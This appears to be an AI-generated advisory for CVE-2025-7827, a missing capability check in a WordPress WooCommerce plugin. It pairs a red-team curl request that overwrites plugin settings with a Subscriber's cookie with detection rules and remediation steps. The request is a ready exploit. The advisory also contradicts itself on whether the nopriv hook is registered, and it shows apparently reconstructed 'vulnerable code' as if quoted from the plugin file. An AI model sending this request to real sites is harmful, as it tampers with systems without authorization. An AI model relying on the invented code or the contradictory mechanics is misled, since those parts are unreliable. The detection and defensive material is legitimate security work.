CVE-2025-7827

Executive Summary

CVE-2025-7827 is a Missing Authorization vulnerability in the Ni WooCommerce Customer Product Report plugin for WordPress, affecting all versions up to and including 1.2.4. The flaw resides in the ni_woocpr_action() function, which lacks a capability check, allowing authenticated attackers with Subscriber-level access or higher to modify plugin settings. This can lead to unauthorized changes to the plugin's configuration, potentially disrupting reporting functionality or enabling further attacks.

The vulnerability has a CVSS v3.1 base score of 4.3 (Medium), with a low attack complexity and no user interaction required. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk is elevated for WordPress sites with untrusted subscriber accounts.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and third-party marketplaces. No official patch has been released by the vendor (Ni). Users must manually apply mitigations or remove the plugin until a fix is available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires Subscriber-level authentication.
• User Interaction (UI): None (N) – No victim action needed.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): None (N) – No data disclosure.
• Integrity (I): Low (L) – Plugin settings can be modified.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. The vulnerability is easy to exploit but requires authentication and only affects plugin settings integrity.

Deep Dive & Mechanics

The ni_woocpr_action() function is registered via wp_ajax_ni_woocpr_action and wp_ajax_nopriv_ni_woocpr_action hooks, but the nopriv variant is not present in the vulnerable code. The function processes AJAX requests to update plugin options (e.g., enabling/disabling reports, setting thresholds). The missing current_user_can() check allows any authenticated user, including Subscribers, to call this function and modify arbitrary plugin settings stored in the WordPress options table.

Attack Flow:

1. Attacker authenticates as a Subscriber.
2. Sends a crafted POST request to /wp-admin/admin-ajax.php with action=ni_woocpr_action and malicious parameters.
3. The function updates plugin settings without verifying capabilities.
4. Attacker can disable reports, alter thresholds, or inject malicious values.

Vulnerable vs. Patched Code

Vulnerable Code (ni-woocpr.php, line ~45):

add_action('wp_ajax_ni_woocpr_action', 'ni_woocpr_action');
function ni_woocpr_action() {
    // No capability check
    update_option('ni_woocpr_settings', $_POST['settings']);
    wp_die();
}

Patched Code (Hypothetical Fix):

add_action('wp_ajax_ni_woocpr_action', 'ni_woocpr_action');
function ni_woocpr_action() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    update_option('ni_woocpr_settings', $_POST['settings']);
    wp_die();
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Ni WooCommerce Customer Product Report <= 1.2.4.
• Valid Subscriber account credentials.

Exploit Steps:

1. Log in as Subscriber.
2. Send the following AJAX request:

curl -X POST https://target.com/wp-admin/admin-ajax.php \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "action=ni_woocpr_action&settings[enable_report]=0&settings[threshold]=9999" \
  --cookie "wordpress_logged_in_<hash>=<subscriber_cookie>"

3. Verify settings changed by checking plugin dashboard.

Expected Outcome: Plugin settings are overwritten without authorization.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor AJAX requests to admin-ajax.php with action=ni_woocpr_action from non-admin users.
2. Check for unexpected changes to the ni_woocpr_settings option in the database.
3. Review user role assignments for Subscriber accounts.

Response:

1. Immediately disable the plugin if no patch is available.
2. Revoke suspicious Subscriber accounts.
3. Restore plugin settings from backup.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=ni_woocpr_action from low-privilege users.
• File: Modified ni_woocpr_settings option in wp_options table.
• Log: WordPress debug log entries showing ni_woocpr_action calls from unexpected roles.
• Behavior: Plugin settings changed without admin action.

Detection Engineering

YARA Rule

rule CVE_2025_7827_Ni_WooCommerce_Missing_Auth {
    meta:
        description = "Detects vulnerable Ni WooCommerce Customer Product Report plugin code"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-7827"
    strings:
        $func = "ni_woocpr_action"
        $hook = "wp_ajax_ni_woocpr_action"
        $no_check = "current_user_can" nocase
    condition:
        $func and $hook and not $no_check
}

Sigma Rule

title: CVE-2025-7827 - Ni WooCommerce Plugin Settings Modification
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized modification of Ni WooCommerce plugin settings via AJAX
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url: "/wp-admin/admin-ajax.php"
        http.body: "action=ni_woocpr_action"
        http.method: "POST"
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7827 - Ni WooCommerce Plugin Settings Modification"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ni_woocpr_action"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict Subscriber accounts – Remove untrusted users.
3. Add capability check manually (if code access available):
   • Insert if (!current_user_can('manage_options')) { wp_die('Unauthorized', 403); } at the start of ni_woocpr_action().

Long-term:

• Monitor vendor (Ni) for updates.
• Implement Web Application Firewall (WAF) rules to block ni_woocpr_action from non-admin users.
• Use WordPress security plugins to enforce role-based access.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.